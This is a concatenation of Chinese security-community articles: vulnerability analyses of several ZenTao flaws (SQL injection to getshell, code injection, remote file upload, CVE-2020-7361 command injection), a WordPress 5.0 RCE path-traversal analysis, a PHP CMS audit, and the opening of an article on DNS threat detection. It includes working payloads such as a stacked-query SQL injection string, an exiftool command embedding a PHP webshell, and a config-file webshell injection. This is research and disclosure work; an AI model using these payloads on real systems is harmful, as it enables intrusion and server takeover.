`parseRequest()`函数首先用于解析判断url是否采用了'GET'或者是'PATH_INFO'模式，其中有一个点就是`isGetUrl()`函数，该函数用于判断url是否采用了GET模式，具体有以下三种模式：
我们回到parseRequest()函数中可以得出，如果系统的默认解析模式是PATH_INFO，而你的url采用的是GET模式，系统则会将此次访问的路由解析模式配置修改GET，故当你的url模式与系统默认解析模式不同，系统也会解析，不会报错。所以禅道系统的两种路由解析模式可同时使用。
（1）路由解析中，GET模式属于非默认模式，但是该种解析方式是PHP类CMS的常规解析模式，即m=block&f=main，m参数负责传递模块名（module），f参数负责传递方法名（method），由此就可以定位到对应module中的`control.php`文件，以及该文件中对应的method。
（2）路由解析中，PATH_INFO模式属于系统默认模式，我们在配置文件中可以看到系统默认模式以及对应的分隔符、参数含义:
我们可以看出PATH_INFO的默认分隔符是
-，然后我们进入到path_info模式下的`setRouteByPathInfo()`函数，通过分隔符将url分割后，第一个值为模块名称`module`，第二个值即为方法`method`:
总，两种解析模式解析后获取的最终module、method通过 `$this->setControlFile();`方法来寻找对应的文件：
自此路由解析结束，定位到对应的模块方法后，就进行了权限验证，即使用者身份是否可以调用该模块与方法，`$common->checkPriv();`，文件`module/common/model.php`:
从此方法看出，除了`isOpenMethod`之外，均需要登录后具有对应权限才可访问，不需登录的方法如下所示。
### 4.1 禅道 8.2-9.2.1 SQL注入漏洞导致Getshell
#### 4.1.1 漏洞简介
漏洞名称：禅道8.2-9.2.1SQL注入前台Getshell
漏洞编号：无
漏洞类型：SQL注入
CVSS评分：无
漏洞危害等级：高危
#### 4.1.2 漏洞概述
禅道项目管理软件集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体，是一款功能完备的项目管理软件。该漏洞影响版本为禅道8.2--9.2.1。漏洞出现在系统orm框架中，在拼接order
by的语句过程的时候，未对limit部分过滤并直接拼接，导致攻击者构造执行SQL语句。在mysql权限配置不当的情况下，攻击者可利用该漏洞获取webshell。
#### 4.1.3 漏洞影响
禅道8.2 - 9.2.1
#### 4.1.4 漏洞修复
1.建议受影响的用户升级至ZenTao
9.2.1以上版本或打上对应补丁包，下载地址：<https://www.zentao.net/download.html>
#### 4.1.5 漏洞利用过程
0x0：随便访问一个不存在的路径，返回页面会出现报错，报错回显出文件的存放路径为。
0x1：根据报错回显的路径，构造SQL注入语句将木马写入系统的EXP。
0x2：将上述EXP进行ASCIIhex加密，得到加密后的字符串。
0x3：然后将加密后的字符串放入：
{"orderBy":"order limit 1;SET @SQL=0x(加密后字符串);PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}
0x4：然后将上述语句进行base64加密。
0x5：最终通过访问以下语句执行漏洞
http://siteserver/zentao/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=base64加密字符串
#### 4.1.6 代码分析
我们根据漏洞PoC来跟踪漏洞执行流程，从技术背景中的路由解析我们可以定位到漏洞存在的模块是block模块中的main方法，在经过路由解析后，系统将通过loadModule()方法加载对应模块，如下图所示：
在处理完url路由后，就开始处理方法中的各种参数，通过setParamsByGET()函数将参数解析：
在参数解析后，就对各个参数进行过滤检测，若没有问题，最终将解析过滤后的参数进行保存：
在路由解析和参数解析过滤完之后，就需要通过call_user_func_array()函数来调用对应模块的对应方法，然后就进入到block模块中的control.php文件：
在module/blocak/control.php文件中的构造函数中，存在一个判断，即需要存在referer，否则无法执行对应模块的函数。
在进入到block模块中的main函数中，通过mode参数进入到一下if分支，在该分支中，首先对params参数进行base64解码
然后通过进一步的解析参数，获取到执行getblocakdata操作的的函数为printCaseBlock()
然后进入到本文件中的printCaseBlock()函数中，通过解析params参数后，得到type属性为openedbyme（可构造），进入到下面的elseif分支，我们可以看到参数要进入到orderby函数中进行处理，继续跟入到orderby函数中：
在oderby函数，系统将oder参数进行解析，获取到orders和limit参数值
接下来就进入到了漏洞产生的关键，即`$order = join(',', $orders) . ' ' . $limit;`
在该SQL语句中将$limit直接拼接到最后，导致`limit
1;`闭合了之前的SQL语句，而之后的攻击PoC就可被执行，由此就造成了该漏洞的SQL注入，该SQL注入可以写入文件，导致最终的getshell。
### 4.2 禅道 后台代码注入漏洞
#### 4.2.1 漏洞简介
漏洞名称：禅道后台代码注入漏洞
漏洞编号：无
漏洞类型：代码注入
CVSS评分：无
漏洞危害等级：高危
#### 4.2.2 漏洞概述
禅道项目管理软件集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体，是一款功能完备的项目管理软件。漏洞属于一种越权调用，普通权限（用户组为1-10）的攻击者可通过module/api/control.php中getModel方法，越权调用module目录下所有的model模块和方法，从而实现SQL注入、任意文件读取、远程代码执行、文件包含等攻击。
#### 4.2.3 漏洞影响
禅道开源版 < 11.6
#### 4.2.4 漏洞修复
1.建议受影响的用户升级至ZenTao 11.6以上版本，下载地址：<https://www.zentao.net/download.html>
#### 4.2.5 漏洞利用过程
0x0：首先登陆获取登陆cookie：zentaosid。
0x1：然后访问api-getModel-editor-save-filePath后再api中生成shell。
0x2：最后访问api-getModel-api-getMethod-filePath=，最后文件包含shell，执行PHP代码。
#### 4.2.6 代码分析
我们根据漏洞PoC来跟踪漏洞执行流程，从技术背景中的路由解析我们可以定位到漏洞存在的模块是api模块中的getModel方法，在经过路由解析后，系统将通过loadModule()方法加载对应模块，如下图所示：
进入到api的getModel()方法中，获取到需要调用的三个参数module：editor，method：save，params：filePath。
然后通过回调函数call_user_func_array进入到editor模块中：
进入到editor模块中的model.php文件中的save()函数，通过save函数的file_put_contents将fileContent内容生成为一个文件，
最终将输出结果后，进程结束。
然后通过访问api-getModel-api-getMethod-filePath文件，解析出module为api，method为getModel()，在getmodel()函数中又调用了api模块的getmethod()方法，
进入到getMethod方法中，进入到import方法：
在import()方法中，通过include()函数包含了filePath下的文件，最终执行PHP代码
### 4.3 禅道 后台文件上传漏洞
#### 4.3.1 漏洞简介
漏洞名称：禅道后台代码注入漏洞
漏洞编号：CNVD-C-2020-121325
漏洞类型：文件上传
CVSS评分：无
漏洞危害等级：高危
#### 4.3.2 漏洞概述
禅道官方发布了开源版12.4.3的更新公告，本次安全更新禅道官方修复了一个高危漏洞：禅道任意文件上传漏洞，漏洞编号：CNVD-C-2020-121325。登录后的任意攻击者可通过fopen/fread/fwrite方法结合FTP、File等协议上传或读取任意文件，成功利用该漏洞可以执行任意代码，最终获取服务器最高权限。
#### 4.3.3 漏洞影响
10.x < 禅道开源版 < 12.4.3
#### 4.3.4 漏洞修复
1.建议受影响的用户升级至ZenTao 12.4.3及以上版本，下载地址：<https://www.zentao.net/download.html>
#### 4.3.5 漏洞利用过程
0x0：首先登陆获取登陆cookie：zentaosid。
0x1：然后访问client-download-[$version参数]-[base64加密后的恶意文件地址]-1.html后再下载远程文件到服务器中
0x2：最后访问data/cliten/1/文件，执行PHP代码。
#### 4.3.6 代码分析
我们根据漏洞PoC来跟踪漏洞执行流程，从技术背景中的路由解析我们可以定位到漏洞存在的模块是client模块中的download方法，在经过路由解析后，系统将通过loadModule()方法加载对应模块：
进入到client的download()方法中，获取到需要调用的2个参数link
然后跟进到download()重点中的downloadZipPackage()函数，全局中共有两个downloadZipPackage函数，其中一个在module/client/ext/model/xuanxuan.php：进入到该函数中，我们发现该函数首先将version,
$link);
接下来进入到module/client/model.php中的接下来进入到module/client/model.php：
在该方法中，我们可以看到version参数用于创建一个新的文件夹，即/data/client/${version}，
然后将link参数值进行base64解码，最终在新建文件夹下新建文件，然后将远程文件写入到该文件中，最终达到远程文件上传漏洞的目的。
### 4.4 禅道 Pro版本任意命令执行漏洞
#### 4.4.1 漏洞简介
漏洞名称：禅道项目管理软件Pro版本任意命令执行漏洞
漏洞编号：CVE-2020-7361
漏洞类型：命令执行
CVSS评分：CVSS 2.0:9.0; CVSS 3.x:8.8
漏洞危害等级：高危
#### 4.4.2 漏洞概述
EasyCorp ZenTao
Pro是中国自然易软网络技术（EasyCorp）公司的一套开源项目管理软件。该软件包括产品管理、项目管理、质量管理和文档管理等功能。EasyCorp
ZenTao Pro 8.8.2及之前版本中的/pro/repo-create.html文件存在操作系统命令注入漏洞。攻击者可借助‘path’参数利用该漏洞以SYSTEM权限执行任意命令。
#### 4.4.3 漏洞影响
禅道 Pro <= 8.8.2
#### 4.4.4 漏洞修复
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
1.建议受影响的用户升级至ZenTao pro 8.8.2以上版本，下载地址：<https://www.zentao.net/download.html>
#### 4.4.5 漏洞利用过程
0x0：首先登陆到管理员账户。
0x1：通过`/repo-create.html(/index.php?m=repo&f=create)`页面下的client参数执行系统命令，将恶意软件下载到服务器中。
SCM=Git&name=test2&path=C%3A%5CProgramData&encoding=utf-8&client=cmd1
0x2：通过repo-create.html页面下的client参数执行系统命令，使用反弹shell，以达到getshell的目的。
SCM=Git&name=test2&path=C%3A%5CProgramData&encoding=utf-8&client=cmd2
#### 4.4.6 代码分析
我们根据漏洞PoC来跟踪漏洞执行流程，从技术背景中的路由解析我们可以定位到漏洞存在的模块是repo模块中的create方法，在经过路由解析后，系统将通过loadModule()方法加载对应模块，如下图所示：
然后通过call_user_func_array()函数调用对应模块以及对应方法：
在module/repo/control.php文件中的create()函数中，如果是post的数据，首先进入到`$repoID =
$this->repo->create();`该处的create()方法是调用的model.php文件中的create()方法：
进入到module/repo/model.php方法中，首先进入到create()方法中，发现第一步需要执行checkConnection():
在checkConnection()函数中，首先获取到对应参数值，由此发现参数在此未做过滤，继续往下看：
如果SCM=git的话，则判断path下的文件是否存在，如果不存在则返回false。
然后进入到本漏洞的触发点了，command参数直接与tag 2>&1拼接，带入到exec()函数执行:
## 五、漏洞利用
最后，通过深信服千里目实验室 **漏洞利用工具Sniper** 进行最后的漏洞利用，具体操作如以下视频所示：
### 5.1 禅道 8.2-9.2.1 SQL注入漏洞导致Getshell
相关视频请转至[原文](https://mp.weixin.qq.com/s/LIugWEiETPwYmmLwZLe7Ag)观看
### 5.2 禅道 后台代码注入漏洞
相关视频请转至[原文](https://mp.weixin.qq.com/s/LIugWEiETPwYmmLwZLe7Ag)观看
### 5.3 禅道 后台文件上传漏洞(CNVD-C-2020-121325)
相关视频请转至[原文](https://mp.weixin.qq.com/s/LIugWEiETPwYmmLwZLe7Ag)观看
* * * | 社区文章 |
# WordPress 5.0.0 Remote Code Execution分析思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2月20号，RIPS团队在官网公开了一篇[WordPress 5.0.0 Remote Code
Execution](https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/ "WordPress 5.0.0 Remote Code
Execution")，CVE编号CVE-2019-6977，文章中主要提到在author权限账号下，可以通过修改Post
Meta变量覆盖、目录穿越写文件、模板包含3个漏洞构成一个RCE漏洞。
但在原文中，作者只大致描述了漏洞原理和攻击链，其中大量的漏洞细节被省略。
参考文章：LoRexxar师傅的[《WordPress 5.0 RCE 详细分析》](https://paper.seebug.org/822/#post-meta "《WordPress 5.0 RCE 详细分析》")
Mochazz师傅的[《WordPress5.0远程代码执行分析》](https://mochazz.github.io/2019/03/01/WordPress5.0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%88%86%E6%9E%90/
"《WordPress5.0远程代码执行分析》")
Hu3sky师傅的[《WordPress5.0 RCE 分析》](http://hu3sky.ooo/2019/02/28/wp/
"《WordPress5.0 RCE 分析》")
这三个师傅的分析文章确实非常赞，基本上已经阐述的特别清楚了。但是他们的利用链几乎无区别，我也翻了国内的许多分析文章，也都是这个攻击链。因为这个攻击链是漏洞发布者：RIPS组织在发布该漏洞给出的分析。而我在复现过程中却发现了在配合变量覆盖来目录穿越写文件这一步中有另外的目录穿越写文件方法。
## RIPS的打法
下图摘自LoRexxar师傅的文章：
下图摘自Hu3sky师傅的文章：
网上大多数师傅的分析文章攻击方法都是如此。
### 分析
当action=crop-image时，程序会调用wp_ajax_crop_image方法对图片进行裁剪.
#/wp-admin/admin-ajax.php line 145
if ( ! empty( $_POST['action'] ) && in_array( $_POST['action'], $core_actions_post ) ) {
add_action( 'wp_ajax_' . $_POST['action'], 'wp_ajax_' . str_replace( '-', '_', $_POST['action'] ), 1 );
}
对post过来的action进行拼接，并执行相应的函数。一直跟进到wp_ajax_crop_image函数。
#/wp-admin/includes/ajax-actions.php line 3950
function wp_ajax_crop_image() {
$attachment_id = absint( $_POST['id'] );
check_ajax_referer( 'image_editor-' . $attachment_id, 'nonce' );
if ( empty( $attachment_id ) || ! current_user_can( 'edit_post', $attachment_id ) ) {
wp_send_json_error();
}
$context = str_replace( '_', '-', $_POST['context'] );
$data = array_map( 'absint', $_POST['cropDetails'] );
$cropped = wp_crop_image( $attachment_id, $data['x1'], $data['y1'], $data['width'], $data['height'], $data['dst_width'], $data['dst_height'] );
if ( ! $cropped || is_wp_error( $cropped ) ) {
wp_send_json_error( array( 'message' => __( 'Image could not be processed.' ) ) );
}
...
可以看到check_ajax_referer( ‘image_editor-‘ . $attachment_id, ‘nonce’
);这一句对nonce进行了校验。所以要nonce参数和id参数保持不变。
再看$cropped = wp_crop_image( $attachment_id, $data[‘x1’], $data[‘y1’],
$data[‘width’], $data[‘height’], $data[‘dst_width’], $data[‘dst_height’]
);这一行进行裁剪操作。
跟进wp_crop_image函数。
# wp-admin/includes/image.php line 25
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
$src_file = $src;
if ( is_numeric( $src ) ) {
$src_file = get_attached_file( $src );
if ( ! file_exists( $src_file ) ) {
$src = _load_image_to_edit_path( $src, 'full' );
} else {
$src = $src_file;
}
}
$editor = wp_get_image_editor( $src );
if ( is_wp_error( $editor ) ) {
return $editor;
}
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
if ( is_wp_error( $src ) ) {
return $src;
}
if ( ! $dst_file ) {
$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
}
wp_mkdir_p( dirname( $dst_file ) );
$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
$result = $editor->save( $dst_file );
if ( is_wp_error( $result ) ) {
return $result;
}
return $dst_file;
}
跟一下get_attached_file的话可以发现它就是从数据库中读取_wp_attached_file的。而在之前就已经Post
Meta变量覆盖将2019/03/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg写入了_wp_attached_file中。
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
if ( $file && 0 !== strpos( $file, '/' ) && ! preg_match( '|^.:\|', $file ) && ( ( $uploads = wp_get_upload_dir() ) && false === $uploads['error'] ) ) {
$file = $uploads['basedir'] . "/$file";
}
if ( $unfiltered ) {
return $file;
}
return apply_filters( 'get_attached_file', $file, $attachment_id );
}
所以读取到的文件名是2019/03/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg，回到wp-admin/includes/image.php的
if ( ! file_exists( $src_file ) ) {
$src = _load_image_to_edit_path( $src, 'full' );
} else {
$src = $src_file;
}
在判断文件不存在的时候会执行_load_image_to_edit_path函数来获取文件名。2019/03/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg明显判断是不存在的，跟进_load_image_to_edit_path函数
function _load_image_to_edit_path( $attachment_id, $size = 'full' ) {
$filepath = get_attached_file( $attachment_id );
if ( $filepath && file_exists( $filepath ) ) {
if ( 'full' != $size && ( $data = image_get_intermediate_size( $attachment_id, $size ) ) ) {
$filepath = apply_filters( 'load_image_to_edit_filesystempath', path_join( dirname( $filepath ), $data['file'] ), $attachment_id, $size );
}
} elseif ( function_exists( 'fopen' ) && true == ini_get( 'allow_url_fopen' ) ) {
$filepath = apply_filters( 'load_image_to_edit_attachmenturl', wp_get_attachment_url( $attachment_id ), $attachment_id, $size );
}
return apply_filters( 'load_image_to_edit_path', $filepath, $attachment_id, $size );
}
可以发现它将文件路径请求拼接为
/wp-content/uploads/poc.jpg
所以发出请求为：http://127.0.0.1/wp-content/uploads/2019/03/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg然后又因为#后的当作书签，于是图片可以被请求到。
然后wp_crop_image函数执行到$editor = wp_get_image_editor( $src
);的时候，跟进wp_get_image_editor会发现它会自动获取到的图片处理库
跟进_wp_image_editor_choose函数
wordpress后端使用的图片处理库有两个，imagick和gd
代码可以看到优先默认用imagick而Imagick处理图片时不处理EXIF信息，因此可以把恶意代码设置在EXIF部分，经过裁剪后会保留EXIF信息，此时再进行包含就能造成代码执行。
所以制作图片马也很简单：
exiftool poc.jpg -documentname="<?php echo exec($_POST['cmd']); ?>"
继续回到wp_crop_image函数。被裁剪的图片被命名为’cropped-‘ . basename( $src_file
)，然后为其创建目录wp_mkdir_p( dirname( $dst_file ) );
分析一下wp_mkdir_p函数。
跟进
是执行了mkdir命令，而这个命令支持不存在的目录通过../跳转的，在第一次执行的时候，会创建poc.jpg目录。
所以wp_mkdir_p( dirname( $dst_file ) );这一行代码很关键。如果没有创建目录的话../../../../是不会跳转的。
最后调用 save 方法存入图片。
save函数,它会调用你当前图片库的裁剪功能，生成图片结果。
#wp-includes/class-wp-image-editor-imagick.php
public function save( $destfilename = null, $mime_type = null ) {
$saved = $this->_save( $this->image, $destfilename, $mime_type );
if ( ! is_wp_error( $saved ) ) {
$this->file = $saved['path'];
$this->mime_type = $saved['mime-type'];
try {
$this->image->setImageFormat( strtoupper( $this->get_extension( $this->mime_type ) ) );
} catch ( Exception $e ) {
return new WP_Error( 'image_save_error', $e->getMessage(), $this->file );
}
}
return $saved;
}
跟进_save函数
继续跟进
/wp-includes/class-wp-image-editor.php line 394
由于之前已经创建了poc.jpg#目录，所以这里的wp_mkdir_p可以支持../跳转，所以成功写入了我们的图片马。
那么问题也来了，既然save函数里面有wp_mkdir_p函数，那么我为什么还要去改post包触发裁剪操作去写马呢？
## 不一样的打法
所以在我看来这个方法才是最应该被RIPS挖到的点。action=crop-image不是本身发出的请求，而是我们改了post包去构造触发这个裁剪，达到写文件的目的。
和RIPS操作不一样的地方在这里。本来是按save按钮之后将post包改action=crop-image的形式。而我发现其实根本不需要去刻意触发action=crop-image来跨目录写文件。在点击save按钮的时候post包里面的action=image-editor同样可以跨目录写文件，达到一样的效果。不同的是，需要触发两次action=image-editor请求，第一次创建poc.jpg#目录，第二次则成功跳转写入图片马。
### 分析
和上面RIPS的打法分析差不多，从action传入开始。
/wp-admin/includes/ajax-actions.php line 2400
跟进2412行的wp_save_image函数
/wp-admin/includes/image-edit.php line 749
明显的发现了刚刚分析的点。用的是_load_image_to_edit_path函数从数据库里面读取文件名!!!
接着往下看，调用了一个函数
跟进去
/wp-admin/includes/image-edit.php line 318
function wp_save_image_file( $filename, $image, $mime_type, $post_id ) {
if ( $image instanceof WP_Image_Editor ) {
$image = apply_filters( 'image_editor_save_pre', $image, $post_id );
$saved = apply_filters( 'wp_save_image_editor_file', null, $filename, $image, $mime_type, $post_id );
if ( null !== $saved ) {
return $saved;
}
return $image->save( $filename, $mime_type );
} else {
_deprecated_argument( __FUNCTION__, '3.5.0', __( '$image needs to be an WP_Image_Editor object' ) );
$image = apply_filters( 'image_save_pre', $image, $post_id );
$saved = apply_filters( 'wp_save_image_file', null, $filename, $image, $mime_type, $post_id );
if ( null !== $saved ) {
return $saved;
}
switch ( $mime_type ) {
case 'image/jpeg':
/** This filter is documented in wp-includes/class-wp-image-editor.php */
return imagejpeg( $image, $filename, apply_filters( 'jpeg_quality', 90, 'edit_image' ) );
case 'image/png':
return imagepng( $image, $filename );
case 'image/gif':
return imagegif( $image, $filename );
default:
return false;
}
}
}
所以只需要分两步走即可。
### 复现
Post Meta变量覆盖
配合变量覆盖创建假目录
Post Meta变量覆盖
配合变量覆盖来目录穿越写文件
成功写入。 | 社区文章 |
## 前言
之前在t00ls上看到一位大佬随手发了某源码的一个sql注入，前几周有拿到了这个源码就按照他发的漏洞把漏洞代码跟了下，同时自己也审了个比较鸡肋的RCE，把审计过程记录了下。
#### 1.sql注入
根据习惯先看代码最原始db目录下的数据库类操作文件，其中有个arr2sql()函数用于将数组转换为sql语句存在问题，如下所示：
private function arr2sql($arr) {
$s = '';
foreach($arr as $k=>$v) {
$v = addslashes($v);
$s .= "$k='$v',";
}
return rtrim($s, ',');
}
由上数组转成sql语句可以看出，arr2sql()函数只对数组中的value值进行了转义过滤，而没有对相应的key进行转义过滤，直接进行拼接返回。那我们就假设如果传入的数组$arr中相应的键我们在前端可以控制构造相应的payload即可造成sql注入。
首先我们全局搜索那些地方调用了arr2sql()这个方法，找到两处函数调用了该方法如下所示：
执行插入操作的函数：
public function set($key, $data) {
if(!is_array($data)) return FALSE;
list($table, $keyarr) = $this->key2arr($key);
$data += $keyarr;
$s = $this->arr2sql($data);
$exists = $this->get($key);
if(empty($exists)) {
return $this->query("INSERT INTO {$this->tablepre}$table SET $s", $this->wlink);
} else {
return $this->update($key, $data);
}
}
第二处跟新操作的函数：
public function update($key, $data) {
list($table, $keyarr, $keystr) = $this->key2arr($key);
$s = $this->arr2sql($data);
return $this->query("UPDATE {$this->tablepre}$table SET $s WHERE $keystr LIMIT 1", $this->wlink);
}
由上述函数可知$s经过arr2sql()处理后直接返回凭借执行sql语句。
选一处进行分析数据流分析，全局搜索update()函数查找调用该函数的方法且传入数组中的键可控，找到如下方法：
public function ajaxset(){
$id = intval(R('id', 'P'));
$cid = intval(R('cid', 'P'));
$type = R('type', 'P');
$txtvalue = intval(R('txtvalue', 'P'));
empty($id) && E(1, '内容ID不能为空！');
$this->cms_content->table = 'cms_products';
$data = $this->cms_content->get($id);
$old_status = $data['status'] ;
$data[$type] = $txtvalue;
if($type == 'status' && $txtvalue == 0){ //审核通过清空拒绝理由
$data['whys'] = '';
}
if(!$this->cms_content->update($data)) {
E(1, '更新出错');
}
if($type == 'status'){
$categorys = $this->category->read($cid);
$categorys['count_'.$txtvalue]++;
$categorys['count_'.$old_status]--;
$this->category->update($categorys);
$this->category->delete_cache();
$shop = $this->shop->get_by_uid($data['uid']);
$shop['goods_'.$txtvalue]++;
$shop['goods_'.$old_status]--;
$this->shop->update($shop);
}
E(0, '更新成功！');
}
调用update函数传入数组$data其中一个键的$type可控，有前端传入。即上述R(‘’,‘p’)方法，该方法为接受前端传入数据，如下所示：
function R($k, $var = 'G') {
switch($var) {
case 'G': $var = &$_GET; break;
case 'P': $var = &$_POST; break;
case 'C': $var = &$_COOKIE; break;
case 'R': $var = isset($_GET[$k]) ? $_GET : (isset($_POST[$k]) ? $_POST : $_COOKIE); break;
case 'S': $var = &$_SERVER; break;
}
return isset($var[$k]) ? $var[$k] : null;
}
简单poc如下所示；
id=503&type=pic%3ddatabase(),local&value=
复现过程如下所示：
pic字段更新成相应的数据库名：
#### 2.wx_config.php文件写入shell
ase.func.php中FW($filename, $data)函数直接用file_put_contents()函数将数据写入文件中。
function FW($filename, $data) {
$dir = dirname($filename);
is_dir($dir) || mkdir($dir, 0755, true);
return file_put_contents($filename, $data); // 不使用 LOCK_EX，多线程访问时会有同步问题
}
联想若某处调用了FW()，若$filename,$data数据可控未做过滤则可进行任意文件修改写入shell，若$data可控未做过滤则可修改指定文件内容写入shell。全局搜索那些地方调用了FW()函数,找到一处写入wx_config.php的数据可控：
public function setting() {
if(empty($_POST)) {
$cfg = $this->kv->xget('pay_cfg');
$input = array();
$input['weixin']['APPID'] = form::get_text('weixin[APPID]', $cfg['weixin']['APPID'], 'form-control');
$input['weixin']['MCHID'] = form::get_text('weixin[MCHID]', $cfg['weixin']['MCHID'], 'form-control');
$input['weixin']['KEY'] = form::get_text('weixin[KEY]', $cfg['weixin']['KEY'], 'form-control');
$input['weixin']['APPSECRET'] = form::get_text('weixin[APPSECRET]', $cfg['weixin']['APPSECRET'], 'form-control');
$this->assign('input', $input);
$this->display();
}else{
_trim($_POST);
$weixin = R('weixin', 'P') ;
$this->kv->xset('weixin', $weixin, 'pay_cfg');
//存储wx
$wx_notice = '';
if(!empty($weixin)){
$wxFile = PLUGIN_PATH.'nz_wxpay/wx_config.php';
$s = file_get_contents($wxFile);
$s = preg_replace("#const APPID = '\w*';#", "const APPID = '".addslashes($weixin['APPID'])."';", $s);
$s = preg_replace("#const MCHID = '\w*';#", "const MCHID = '".addslashes($weixin['MCHID'])."';", $s);
$s = preg_replace("#const KEY = '\w*';#", "const KEY = '".addslashes($weixin['KEY'])."';", $s);
$s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s);
if(!FW($wxFile, $s)){
$wx_notice = '！但微信配置文件写入失败，需手动修改nzcms/plugin/nz_wxpay/wx_config.php';
}
}
$this->kv->save_changed();
$this->runtime->delete('pay_cfg');
exit('{"err":0, "msg":"修改成功"}');
}
}
写入$wxFile的$s数据可控，且前端传入的webname参数可控不进行过滤，其余传入的数组$weixin都进行了过滤,故可构造如下payload将shell写入wx_config.php。
weixin%5BAPPID%5D=1155&weixin%5BMCHID%5D=5555555&weixin%5BKEY%5D=11333311&weixin%5B'APPSECRET'%5D=1111&webname=aaaaaaaaa';} phpinfo();?>/*
抓取相应数据包发送上述payload如下所示：
访问wx_config.php,如下所示：
但这个洞利用还是有限制可以说比较鸡肋，主要有两点
* 1.需要获取后台管理员权限
* 2.可以看上述代码中的替换正则
$s = preg_replace("#const COMPANY = '\w*';#", "const COMPANY = '".R('webname','P')."';", $s);
用了\w来匹配，导致如果wx_config.php中的COMPANY预先赋值为中文就无法匹配成功也就无法替换写入。 | 社区文章 |
# DNSMon：用DNS数据进行威胁发现
##### 译文声明
本文是翻译文章，文章原作者 netlab，文章来源：blog.netlab.360.com
原文地址：<https://blog.netlab.360.com/use-dns-data-produce-threat-intelligence/>
译文仅供参考，具体内容表达以及含义原文为准。
## 用DNS数据做安全
DNS协议作为互联网的基础和核心协议，其承载的数据在一定程度上能够反映使用域名提供服务的业务发展情况。使用了DNS服务的恶意行为也不例外，对DNS数据进行安全分析，可以涵盖绝大多数恶意行为。
早期利用DNS数据进行安全检测典型的场景包括针对DGA和fastflux的检测。尽管检测这两类恶意行为的具体方法多种多样（比如检测DGA域名从少量的统计维度，到多特征的机器学习再到基于时序的深度学习检测等等），但是其核心仍然是以纯DNS数据为基础即可完成检测。能这么做的最主要的原因是这两类恶意行为的关键特征在DNS数据上体现的已经非常明显，几乎不需要或者仅需要少量外部数据的辅助即可以完成快速，准确的检测。
但现实中不同的恶意软件由于其目的和所运行环境（比如Windows，Linux，macOS等操作系统对协议栈的实现）差异很大，其在DNS数据中留下的痕迹也各不相同，此时仅依靠DNS数据就难以或者说是几乎不可能高效的完成从数据清洗，聚合，检测，校验和防御的闭环。面对海量DNS数据（其他的基础数据也类似）利用大数据分析方法产出的多如牛毛的（异常）线索但无法对其进行精确定性的威胁情报（IOC）的尴尬局面。
在数据，算力和机器智能算法快速发展的今天，我们相信DNS安全未来的一个方向是海量DNS基础数据结合其他多种维度数据进行关联整合，从而进入更深入精细的分析。
其实利用DNS数据发现和阻断安全风险的趋势正变得越来越主流。这些年我们看到越来越多的企业甚至国家(没错，国家)把目光转向了DNS这个领域。比如美国的E3A计划，英国，澳大利亚各自正在实施的5年网络安全战略规划[3][4]，加拿大CIRA的加拿大盾项目[5]，在其防御手段中，核心是一样的，即利用DNS的数据，在国家层面进行大规模的威胁发现和全局阻断。有兴趣的可以查阅文末的参考资料以及其他相关资料。
## DNSMon系统
2014年，我们在国内建立第一个[PassiveDNS](https://passivedns.cn/)系统开始，360netlab团队在DNS领域专心经营了6年。DNSMon是360Netlab利用丰富的DNS安全分析经验，对每日千亿级别的DNS流量进行系统的分析，产出威胁情报(域名IOC)，并向最终用户提供安全防御的平台。
* 其核心在于将海量的DNS数据与360所拥有安全相关数据（包括whois，web，沙箱，蜜罐，证书等等）交叉对比，并从中分析得出威胁情报IOC。
* 无任何先验知识的情况下，大规模的主动阻断高风险,高危安全相关域名。
* 每天可以产生上千条恶意和高可疑域名黑名单，服务于国内约2000万用户，并已稳定运行近3年。
## 不同维度数据交叉会产生更好的效果
一般认为，如果以威胁情报（域名IOC）的生产为目标的话，安全分析团队和安全产品通常会寻求能够产出更为精准威胁情报（域名IOC）的方法，比如沙箱，蜜罐等等，毕竟它们是有切实的真相（groudtruth）——即样本——在手的。通过对样本进行逆向几乎可以解释一切行为。
不过逆向工程也面临着挑战：
* 首先是无法大规模的扩展和快速的响应。解决这两个问题的办法也许就是跑沙箱。但是沙箱也有自身的问题，比如运行环境的适配问题，恶意软件的对抗问题等等。
* 其次是能够拿到并分析样本本身是有较高资源要求的。网络规模越大，组网环境越复杂，部署、运营、阻断等资源要求会显著加大。
而DNSMon在大规模的扩展和快速响应方面有着天然的优势，并且接入数据量和后端检测平台的复杂度并非线性关系。因此两种手段的结合是必然趋势。
在运营DNSMon的过程中，现在几乎已经是标准情况，我们拦截的域名往往在几周甚至几个月之后才会进入国内外安全厂家的威胁情报（域名IOC）列表中。为了让用户更透明的看到我们从原始DNS流量到威胁情报（域名IOC）的流程，同时也介绍DNSMon在生产威胁情报（域名IOC）方面的经验，后续我们会陆续推出一系列的文章，并挑选其中一些典型的案例来说明如何从DNS入手并结合多维度的数据生产域名IOC。
本文我们来看第一个例子——skidmap恶意挖矿程序。
## DNSMon对未知域名的拦截
DNSMon从2019年5月份开始，在无任何先验知识的情况下，内置算法直接对ipfswallet.tk的rctl-443/rctl/pm等三个子域名以及rctl-443.onlinetalk.tk
报黑并进行了拦截，随后在2019年11月又对 onlinetalk.tk
的rctl/info子域名进行了拦截。在2020年的9月份以及10月份的时候，类似的又分别对
